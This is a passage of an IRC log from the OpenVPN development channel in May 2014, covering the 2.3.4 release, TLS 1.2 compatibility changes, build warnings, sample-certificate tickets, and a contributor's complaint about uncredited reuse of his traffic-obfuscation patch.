the top of 2.3.3 and i couldn't get it to mess up 09:10 <@mattock> the windows installers are downloaded at least ten thousand times a day if I recall correctly 09:10 < _bt> cripes 09:10 <@mattock> it's a lot anyways 09:11 < _bt> whats the worst that could happen eh! 09:11 <@mattock> I'm beyond worrying nowadays 09:11 <@mattock> done so many releases 09:11 <@mattock> as long as I'm fairly confident it will work I'm content 09:12 <@mattock> and as long as any problems are fixed quickly, missing some edge-case is not such a big deal 09:12 <@mattock> btw. I merged your changes to openvpn-build 09:12 < _bt> i assume then that you will be around also 09:12 < _bt> to make a new release if things have broken 09:13 <@mattock> yes 09:13 <@mattock> I'll monitor this IRC and my email 09:14 < _bt> sent you a PM 09:32 <@ecrist> I really wish you guys hadn't broken the TLS1.2 support between 2.3.3 and 2.3.4 09:34 <@plaisthos> ecrist: ? 09:49 <@ecrist> we started using the cipher list in 2.3.3 to force TLS 1.2, and now, when our users upgrade, we have to start using --tls-min-version 1.2 instead 09:56 <@ecrist> s/broken/changed in a way that's inconvenient to my deployment/ 09:57 <@plaisthos> ecrist: yeah if someone finds the reason why it is exactly breaking we might fix it 10:18 -!- debbie10t [~ma1com10t@host-92-20-3-80.as13285.net] has joined #openvpn-devel 10:18 <@syzzer> plaisthos, ecrist: well, some of them are known ('cryptoapi', 'short RSA keys'), but other might be not up to us to fix (corp/state firewalls blocking the handshake) 10:19 <@syzzer> ecrist: but I can imagine you don't like this change ;) 10:23 <@ecrist> so, does iOS not support TLS1.2 at all, is that the crux? 10:24 <@syzzer> nope, this crux is that the server side never supported 1.2 10:25 <@syzzer> both OpenVPN Connect (iOS/Android) and OpenVPN for Android support 1.2 10:26 <@syzzer> but is was never negotiated, because the regular openvpn (which runs at the server side) did not support it 10:27 <@ecrist> until 2.3.3 10:33 <@syzzer> yup 10:40 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 250 seconds] 10:41 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 11:04 <+krzee> <ronnocol> Hey, just wanted to stop by and say I'm very happy with the performance and scalability of ovpn; you guys are doing a great job: nclients=30568,bytesin=78475738061489,bytesout=3522366041764 11:04 <+krzee> just thought ild pass that on to those who it was meant for =] 11:05 < _bt> krzee: nclients maybe number of client connections 11:05 < _bt> (total) 11:05 <+krzee> thats what i thought, but thats WAYYYYY too many 11:06 <+krzee> if he says thats his number of connected clients, i want to know what hardware hes on so i can go get me some 11:06 <+krzee> if he got 30K clients on a single openvpn process, i want to know more 11:06 <@ecrist> syzzer: my problem is, as of 2.3.3, we started using the cipher option to force 1.2, but that's taken away in 2.3.4 11:07 <@ecrist> so, I rolled new configs/certs to all my users a few weeks ago, now I have to do it again to use the new option 11:07 <+krzee> ouch 11:07 <@ecrist> yeah 11:09 -!- _bt2 [~bt@unaffiliated/bt/x-192343] has quit [Read error: Connection reset by peer] 11:21 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Ping timeout: 272 seconds] 11:21 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 11:57 <@cron2> _bt, mattock: \o& 11:57 <@cron2> uh 11:58 <@cron2> that should ahve been \o/ :-) 11:59 <@cron2> ecrist: uh, well, what shall I say - you *could* have mentioned some time during the big discussion "what to do with the tls-version-min patch from James" here *and* on the openvpn-devel list... 12:19 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn-devel 12:20 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 13:00 <@ecrist> cron2: you're right. I've been embroiled in the build out of two separate data centers for $work, though, and have been short on time. 13:05 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 252 seconds] 13:07 <@cron2> ecrist: yeah, I know how that feels... and I'm sorry that we're now causing extra work for you. But I think we did the right thing for 2.3.4, leaving the feature in but turning it off by default to avoid breaking other people's working VPNs - 2.3.3 should have done that, but at that time we didn't know yet that some many issues were lurking 13:12 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 13:12 -!- mode/#openvpn-devel [+o pekster] by ChanServ 13:34 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 252 seconds] 15:07 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 15:43 -!- _bt2 [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 15:44 < _bt2> Are we good? 15:46 <@cron2> no mob with pitchforks yet 15:50 * krzee opens a pitchfork selling business 15:50 < debbie10t> calm b4 the storm ;) 15:50 < _bt2> Yay 15:51 < debbie10t> i am mid test 234 15:51 < debbie10t> ok so far 15:52 < debbie10t> tap install immenent .... 15:56 < _bt2> If the install breaks, blame everybody else but me 15:57 < debbie10t> install is fine .. something has gone wrong tho .. :( 15:59 < debbie10t> back in 10m after full tap install .. i have 11 taps 15:59 < debbie10t> click to continue 16:02 < _bt2> Eep 16:03 <@cron2> "someone else" = "_bt" <- blame 16:03 <@cron2> but I can't imagine your changes having an effect on the tap bit 16:09 < debbie10t> all done .. all up .. mixed tap/tun .. done win7.xp/ubuntu1204 16:10 < debbie10t> must update clients 16:10 < debbie10t> and bridged 16:11 < _bt2> Sweet 16:11 < debbie10t> Fri May 02 22:08:31 2014 us=156250 OpenVPN 2.3.4 i686-w64-mingw32 [SSL (OpenSSL)] [LZO] [PKCS11] [IPv6] built on May 2 2014 16:13 * debbie10t buy a krzee pitchfork lapel badge 16:13 <+krzee> *sells& 16:15 * debbie10t champagne! 19:08 -!- _bt2 [~bt@unaffiliated/bt/x-192343] has quit [Read error: Connection reset by peer] 20:30 -!- _bt2 [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 21:37 -!- debbie10t [~ma1com10t@host-92-20-3-80.as13285.net] has quit [Ping timeout: 255 seconds] --- Day changed Sat May 03 2014 01:57 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:57 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 01:57 -!- mattock_afk is now known as mattock 02:00 <@mattock> krzee: re: trac #149: yep, forwarding the openvpn.net FAQ pages to Trac is on my todo 02:00 <@mattock> have to take a look if I could do it myself, or if I need someone else to do it 03:04 -!- Netsplit *.net <-> *.split quits: @pekster, siruf, @vpnHelper, +krzee, @andj, riddle 03:06 -!- Netsplit over, joins: siruf, riddle 03:11 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 03:11 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 03:11 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 03:11 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 03:11 -!- ServerMode/#openvpn-devel [+ovoo pekster krzee andj vpnHelper] by leguin.freenode.net 04:25 -!- _bt2 [~bt@unaffiliated/bt/x-192343] has quit [Ping timeout: 240 seconds] 08:02 -!- debbie10t [~ma1com10t@host-92-20-3-80.as13285.net] has joined #openvpn-devel 08:10 < debbie10t> Just a quick heads up for what could be a valid bug: https://forums.openvpn.net/post40859.html#p40859 08:10 <@vpnHelper> Title: OpenVPN Support Forum Can connect but can't ping : Server Administration - Page 2 (at forums.openvpn.net) 08:22 <@cron2> mmmh. It works for my colleague who uses win8.1, but I think they all have admin rights 08:22 <@cron2> so "gui -> run as admin" is sufficient 08:30 <@vpnHelper> RSS Update - tickets: #399: Issue with register-dns in Windows 8.1 <https://community.openvpn.net/openvpn/ticket/399> 09:52 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: AF_INET -> AF_INET6] 09:53 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 09:53 -!- mode/#openvpn-devel [+o pekster] by ChanServ 10:47 <+krzee> if the user wasnt running as admin then they would have way bigger problems than just /registerdns 10:49 <@pekster> Could be. The fun secret here is that it's not the /registerdns that "fixes" Windows' stupidity; it's the act of changing "any" flag on the adapter (or even setting a flag to what it already is) that causes Windows to suddenly realize the "per-adapter DNS" settings it keeps 10:49 <@pekster> A few jobs ago I spent a good amount of time tracking it down, and I think I ended up just scriptin a single netsh call in a --route-up script to set some flag we didn't care about 10:50 <@pekster> Oh, and it also works if you let it idle for 0 to 15 minutes ;) 10:51 <+krzee> haha gotta love windows 10:52 <@pekster> Yea, really painful. The final logic tried "really hard" to smack DNS into working, then alerted the user with a tray popup if things were really borked. Such hax :( 11:54 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn-devel 11:54 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 11:54 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 12:08 -!- roentgen [~quassel@openvpn/community/support/roentgen] has joined #openvpn-devel 12:08 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 12:29 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Ping timeout: 272 seconds] 12:29 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 12:41 -!- roentgen [~quassel@openvpn/community/support/roentgen] has quit [] 12:52 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 12:52 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 13:58 * cron2 likes what he sees in his logs :-) 13:58 <@cron2> IV_VER=2.3.4 13:58 <@cron2> IV_SSL=OpenSSL_1.0.1g_7_Apr_2014 13:59 <@cron2> (all my users have profiles with --push-peer-info now) 14:10 <@plaisthos> :) 14:31 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [] 14:33 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 14:33 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 15:53 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 15:54 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 15:54 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 16:03 < debbie10t> push-peer-info is still unusable in windows 16:05 <@cron2> mmmh? 16:09 < debbie10t> https://forums.openvpn.net/topic15625.html 16:09 <@vpnHelper> Title: OpenVPN Support Forum push-peer-info v23x : Scripting and Customizations (at forums.openvpn.net) 17:50 -!- debbie10t [~ma1com10t@host-92-20-3-80.as13285.net] has quit [Ping timeout: 255 seconds] 21:27 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Ciao] --- Day changed Sun May 04 2014 00:48 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 00:50 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 00:50 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:24 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 01:24 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 01:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:33 -!- Hes [AHO65@tunkki.fi] has quit [Ping timeout: 240 seconds] 12:46 <@syzzer> hmm, compiling with -pedantic doesn't work anymore, it fails on "src/compat/compat-lz4.c:154:1: error: expected identifier or '(' before '/' token" 12:46 <@syzzer> but I have to say I didn't try compiling with -pedantic before, so I'm not sure whether it worked before... 13:07 <@cron2> argh, imported sources that bring in new fun... compat-lz4.c is a fairly recent addition, so maybe it worked before... 15:17 <@syzzer> cron2: fyi, -pedantic errors out for me too when I fix the compat-lz4.c error 15:18 <@syzzer> so it probably was broken before ;) 15:24 <@cron2> I think James doesn't believe in lint or -pedantic (there's code in init.c that refuses cooperation if pedantic is used, IIRC) - but those errors that are true coding errors really should be fixed :-) ("willing to review and ACK"). 21:43 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 21:43 -!- mode/#openvpn-devel [+v krzie] by ChanServ 21:44 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 21:44 -!- krzie is now known as krzee 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:32 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 23:07 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 252 seconds] 23:09 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 23:09 -!- mode/#openvpn-devel [+o pekster] by ChanServ 23:26 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 23:26 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:26 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon May 05 2014 03:43 <@cron2> woot, two bugs closed in trac \o/ 03:58 <@mattock> that is true 03:59 <@plaisthos> syzzer: don't compile with clang, that spews warning about signedness in OpenVPN all over the place 04:31 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:31 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 04:31 -!- dazo_afk is now known as dazo 04:36 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:45 -!- dazo is now known as dazo_afk 04:45 -!- dazo_afk is now known as dazo 05:36 <@syzzer> plaisthos: gcc does so too if you use ./configure --enable-strict 05:37 <@syzzer> and I'd like to get rid of those where possible, because those compiler warnings can be very useful 05:37 <@syzzer> during development I always use --enable-strict, and I'd like the warnings I get to be relevant 05:42 <@syzzer> btw, while looking at n13l's EKM patches, I came across some other crypto related stuff I think we should reconsider... 05:44 <@syzzer> for example, openvpn uses the tls 1.0/1.1 prf (a mixed sha1+md5 hmac prf) to derive data channel keys. TLS 1.2 adds other options for that prf (like SHA256, 384, 512) that I think we should use for deriving the data channel keys too 05:46 <@syzzer> that will however break compatibility with setups that are already using TLSv1.2, so we should either do that really soon (before people are actively using TLSv1.2) or in a new 'key-method' 05:46 <@syzzer> furthermore, it might be time to retire 'key-method 1'... 05:54 <@syzzer> just dropping the idea to give it some thought, if we are to do stuff like this, it should be discussed on the ml and meetings 06:17 <@cron2> there's this thread where james started to throw around ideas for cipher negotiation, aka "client sends what it can do, server selects and pushes", in the TLS channel, for the data channel 06:17 <@cron2> we all got distracted a bit with other stuff :-) 07:36 <@plaisthos> syzzer: yeah. I always compile with signedness warnings switched off so I see the other warnings :/ 08:08 -!- livelace [~livelace@94.199.74.142] has joined #openvpn-devel 08:20 < livelace> Hello. How I can avoid this "* Don't advance to the next connection profile on AUTH_FAILED errors." ? 08:31 <@ecrist> this is not a help channel. 11:21 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] --- Log closed Mon May 05 12:19:44 2014 --- Log opened Mon May 05 14:30:12 2014 14:30 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 14:30 -!- Irssi: #openvpn-devel: Total of 20 nicks [10 ops, 0 halfops, 2 voices, 8 normal] 14:30 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 14:30 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:34 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel --- Day changed Tue May 06 2014 01:41 -!- mattock is now known as mattock_afk 01:48 -!- mattock_afk is now known as mattock 02:34 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:44 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 245 seconds] 05:14 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 05:14 -!- mode/#openvpn-devel [+o pekster] by ChanServ 07:10 -!- dazo_afk is now known as dazo 08:43 <@vpnHelper> RSS Update - tickets: #400: Please update sample certs to use sha1 or better <https://community.openvpn.net/openvpn/ticket/400> 09:04 <@plaisthos> @400: Perhaps we should really replace the example certs with a script generating the certs 09:16 <@mattock> +1 09:18 <@syzzer> yup, totally agree. 09:18 <@cron2> so why did we just add EC demo certs? *duck* 09:18 <@cron2> otherwise, I agree :-) 09:19 <@plaisthos> cron2: for consistency 09:21 <@syzzer> indeed, "because that's how it was for RSA". 09:22 <@syzzer> mattock: I don't have enough rights on trac to assign or close tickets. Is it possible for me to get those? 09:22 <@mattock> syzzer: yes, I'll do it right now 09:22 <@syzzer> ok, thanks :) 09:23 <@mattock> try now 09:23 <@mattock> you may have to logout, not sure 09:23 <@syzzer> w00t, more buttons! 09:23 <@mattock> yeah 09:51 <@ecrist> heh 09:51 <@ecrist> that's one of those "be careful what you ask for" requests 09:56 <@plaisthos> "I always set my openvpn server up with the example certs and it always worked" 09:56 <@plaisthos> perhaps one should portscan all 1194 ports for the example certs (; 10:09 <@ecrist> heh 10:47 <@dazo> plaisthos: but that won't work! Because I use the --tls-auth with the example static key! 10:58 <@cron2> wth is that good for? 10:58 <@cron2> AC_DEFINE_UNQUOTED([TARGET_PREFIX], ["O"], [Target prefix]) 10:59 <@cron2> and what the hell is #if AUTO_USERID (misc.c)?? 11:01 * cron2 does not want to know 11:06 <@syzzer> "do not question the mighty configure.ac" :+ 11:06 <@cron2> nah, this is more the "I win this round of uncovering weird options" 11:07 <@cron2> it depends on ENABLE_AUTO_USERID, which is not exposed to configure... 11:11 -!- raidz is now known as raidz_away 11:14 -!- raidz_away is now known as raidz 11:36 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:00 <@pekster> mattock: ping. I could adjust either the man2html command or the sed script to point manpage refs somewhere else; that has the drawback of linking to platform-specific pages, and at whatever version that system has available. FreeBSD ifconfig is different than Linux ifconfig (and Linux users shouldn't really be using it anyway ;) for instance 12:01 <@pekster> This is WRT manpage-to-wiki generation, if anyone else had feelings about it 12:57 <@mattock> pekster: re: platform-specific man-pages: yes, good point 12:57 <@mattock> maybe the links should be removed entirely 13:12 <@plaisthos> cron2: AUTO_USERID build the userid from mac address iirc 13:22 <@mattock> I'll reboot ldap (kernel updates) 13:22 <@mattock> should be back soon 13:26 <@mattock> also rebooting build and community 13:26 <@mattock> ldap is up already 13:27 * ecrist should update forums 13:28 <@ecrist> my procrastination avoided heartbleed, though. :) 13:30 <@mattock> please define "procrastination" :) 13:30 <@mattock> new word 13:30 <@mattock> slowness in updating in general? :P 13:30 <@mattock> johan: can I upgrade support.openvpn.in and reboot it? 13:31 <@plaisthos> mattock: wrong channel? 13:31 <@mattock> hahaha 13:31 <@mattock> yes 13:31 <@mattock> I'm running security updates 14:21 <@ecrist> mattock: procrastination is the putting off for later of a task repeatedly 14:21 <@mattock> ecrist: ok, good to know 14:21 <@ecrist> every day saying, "I'll do it later or tomorrow" 14:22 <@mattock> they have a saying in Italian: "Sempre domani" which translates to "Always tomorrow" 14:22 <@mattock> good advise I think in many cases :P 14:22 <@ecrist> some old dude came up with a response to chronic procrastinators, specificall the phrase, "I'll do that tomorrow." "Today is yesterday's tomorrow." 14:22 <@mattock> lol 14:23 <@ecrist> getting all sorts of philisophical in -devel today 14:59 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 15:09 <@dazo> Procrastinators Unite! (tomorrow) 15:16 -!- dazo is now known as dazo_afk 17:18 -!- debbie10t [~ma1com10t@host-92-20-36-201.as13285.net] has joined #openvpn-devel 17:58 -!- debbie10t [~ma1com10t@host-92-20-36-201.as13285.net] has left #openvpn-devel [] 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:34 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel --- Day changed Wed May 07 2014 01:28 * cron2 is too lazy to procrastinate 04:22 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 05:43 -!- dazo_afk is now known as dazo 05:57 <@plaisthos> cron2: so do openvpn work! 05:58 <@plaisthos> my next item on my socket to do list is: throw away all mini timeout 05:58 <@cron2> nothing truly important on my TODO list today, and as I'm a bit short on time this and next week, only urgent stuff 05:58 <@plaisthos> and replace them with one connect-timeout 05:58 <@cron2> but indeed, yesterday I was procrastinating with OpenVPN... started the AIX port :-) 06:00 <@plaisthos> and then NACK to the socket-connect-timeout patch ;) 07:13 <@cron2> IchirouMakino: famous people here :) 11:40 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Read error: Connection reset by peer] 11:44 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 11:44 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 14:07 <@vpnHelper> RSS Update - tickets: #401: OpenVPN 2.3.4 client fails when server uses tls-version-minimum 1.2 when 2.3.3 works fine <https://community.openvpn.net/openvpn/ticket/401> 14:33 -!- dazo is now known as dazo_afk 14:41 <@plaisthos> I set 410 to wontfix and gave short explaination 14:41 <@plaisthos> 401 15:24 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Quit: Lost terminal] 15:25 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 15:25 -!- mode/#openvpn-devel [+o cron2] by ChanServ 16:43 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Ping timeout: 272 seconds] 16:46 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:33 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel --- Day changed Thu May 08 2014 00:44 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:44 -!- mattock_afk is now known as mattock 00:44 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 02:09 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:39 -!- dazo_afk is now known as dazo 05:55 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 252 seconds] 06:22 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 06:22 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 06:23 <@d12fk> mattock: mingw binutils have been fixed, i think i could provide another test gui containing the version info 06:26 <@mattock> d12fk: sounds good 06:26 <@d12fk> 32 or 64 bit 07:04 -!- Netsplit *.net <-> *.split quits: ender|, @pekster, @plaisthos 07:18 -!- Netsplit over, joins: @pekster, @plaisthos, ender| 07:42 <@mattock> d12fk: 64-bit is fine 07:42 <@mattock> better 10:07 <@plaisthos> \ics-openvpn\main\openvpn\src\openvpn\proxy.c 10:07 <@plaisthos> hello. i want edit this file(proxy.c) to get the libopenvpn.so file. how do i make it? 10:40 -!- dazo is now known as dazo_afk 11:28 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 14:55 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 19:08 <@vpnHelper> RSS Update - tickets: #402: Incorrect strncmp() test breaks the "--x509-username-field" option <https://community.openvpn.net/openvpn/ticket/402> 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:32 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel --- Day changed Fri May 09 2014 00:13 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 01:10 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:10 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 01:10 -!- mattock_afk is now known as mattock 01:35 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 01:57 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 02:03 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 02:31 -!- dazo_afk is now known as dazo 02:56 <@cron2> is MSVC daft or what? 02:57 <@syzzer> cron2: it is, but 2008 might also be "a bit outdated" ;) 02:57 <@cron2> indeed, but some of the things james fixed are known to also error in newer versions, like variable declarations after other code in the same block 02:58 <@syzzer> how can we convince James to switch to mingw then? :p 02:59 <@cron2> I think we can't... :-) - but I think the changes are not harming the code, it's just that he'll have to fix these things himself again and again 08:40 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Read error: Connection reset by peer] 08:42 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 09:09 -!- dazo is now known as dazo_afk 10:13 -!- mattock is now known as mattock_afk 10:27 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:27 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 11:54 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:34 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel --- Day changed Sat May 10 2014 03:18 -!- Netsplit *.net <-> *.split quits: ender|, @pekster, @plaisthos 03:29 -!- Netsplit over, joins: @pekster, @plaisthos, ender| 04:25 -!- Netsplit *.net <-> *.split quits: ender|, @pekster, @plaisthos 04:36 -!- Netsplit over, joins: @pekster, @plaisthos, ender| 05:54 -!- Netsplit *.net <-> *.split quits: ender|, @pekster, @plaisthos 06:05 -!- Netsplit over, joins: @pekster, @plaisthos, ender| 11:26 -!- Netsplit *.net <-> *.split quits: ender|, @pekster, @plaisthos 11:38 -!- Netsplit over, joins: @pekster, @plaisthos, ender| 12:08 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Read error: Connection reset by peer] 12:10 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 12:10 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 13:25 -!- haggismn [~haggismn@haganm.plus.com] has joined #openvpn-devel 13:26 < haggismn> hi 13:27 < haggismn> anyone here able to help with gpl/copyright type things? 13:31 <+krzee> this channel is not for support, it is for openvpn development 13:32 < haggismn> yeah i know 13:33 < haggismn> i wrote a patch for openvpn, to implement xor on the packet payload 13:33 < haggismn> this one https://github.com/clayface/openvpn_xorpatch 13:33 <@vpnHelper> Title: clayface/openvpn_xorpatch · GitHub (at github.com) 13:33 <+krzee> oh i see 13:34 < haggismn> a company is selling this, bolehvpn, giving it their own name, like its their work 13:34 < haggismn> xcloak they call it 13:34 < haggismn> not really sure what to do about it 13:39 < haggismn> its not the usage of the patch that i am concerned about, it's the naming it and calling it "our xCloak functions", and lack of reference thing i dislike 13:50 <+krzee> i got ya, i know nothing about that stuff 13:51 <+krzee> so im not ignoring, i just have no answer =] 13:52 < haggismn> yeah no worries 13:52 < haggismn> thanks 13:53 <@cron2> haggismn: mattock and plaisthos are on it 13:53 <@cron2> generally, the "GPL violations and what to do about it" 13:53 <@cron2> because everyone and their dogs are stealing plaisthos' Android client, including the bundled OpenVPN 13:55 <+krzee> is the xor simply to hide from DPI? 13:55 < haggismn> yeah thats the idea behind it 13:55 <+krzee> why not just use: 13:55 <+krzee> !obfs 13:55 < haggismn> various ways, xor, reverse 13:55 < haggismn> obfsproxy? 13:56 <+krzee> ya, sorry i thought vpnHelper would answer with the key from #openvpn 13:56 -!- Netsplit *.net <-> *.split quits: ender|, @pekster, @plaisthos 13:57 <+krzee> <vpnHelper> "obfs" is (#1) if you are looking to obfuscate your traffic to get through a firewall that recognizes and blocks openvpn, try using this proxy: obfsproxy https://www.torproject.org/projects/obfsproxy.html.en to encapsulate your packets in other protocols or (#2) http://community.openvpn.net/openvpn/wiki/TrafficObfuscation or (#3) in client/server mode an admin can know that openvpn is being used. in static-key mode they only 13:57 <+krzee> know that it is some encrypted data, but not specifically openvpn; however with static-key you lose forward security (!forwardsecurity) 13:57 <@vpnHelper> Title: Tor Project: obfsproxy (at www.torproject.org) 13:57 < haggismn> yes of course, theres that, also ssh tunneling and stunnel are good 13:58 <+krzee> well those force tcp 13:58 < haggismn> and a bit more complicated to set up than a patched openvpn 13:58 <+krzee> then openvpn on top of it, and tcp connections, then you have tcp in tcp in tcp 13:58 <@cron2> yay 13:58 < haggismn> i use both methods 13:59 <+krzee> except if your patch gained upstream support it wouldnt take too long for the DPI rules to get updated 13:59 < haggismn> this bolehvpn company seems to think the patch is useful enough anyway 14:00 < haggismn> well thats the thing 14:00 <+krzee> the constant game of cat and mouse does not need to be played in every product 14:00 <+krzee> for that reason, obfsproxy is the recommended solution 14:00 <+krzee> they centralize the cat&mouse game 14:00 < haggismn> it would require a filter that looks only at packet payload/length 14:01 < haggismn> sorry i mean packet length/timings 14:01 < haggismn> since the payload will be different every time 14:01 <+krzee> ya thats what im saying, boleh should be using obfs 14:01 <+krzee> in fact they are stuck on an old version of openvpn because of it 14:01 <+krzee> haha 14:02 <+krzee> oh no not anymore, that was old 14:04 < haggismn> in the forum the admin put up their "xcloak" binaries 14:04 < haggismn> the option names from my patch are in there 14:05 < haggismn> https://www.bolehvpn.net/forum/index.php?topic=7642.msg0;boardseen#new 14:05 <@vpnHelper> Title: Login (at www.bolehvpn.net) 14:05 <+krzee> have you called them on it? 14:06 < haggismn> no 14:06 < haggismn> i came here first 14:06 < haggismn> only discovered it today 14:07 -!- Netsplit over, joins: @pekster, @plaisthos, ender| 14:21 -!- Netsplit *.net <-> *.split quits: ender|, @pekster, @plaisthos 14:32 -!- Netsplit 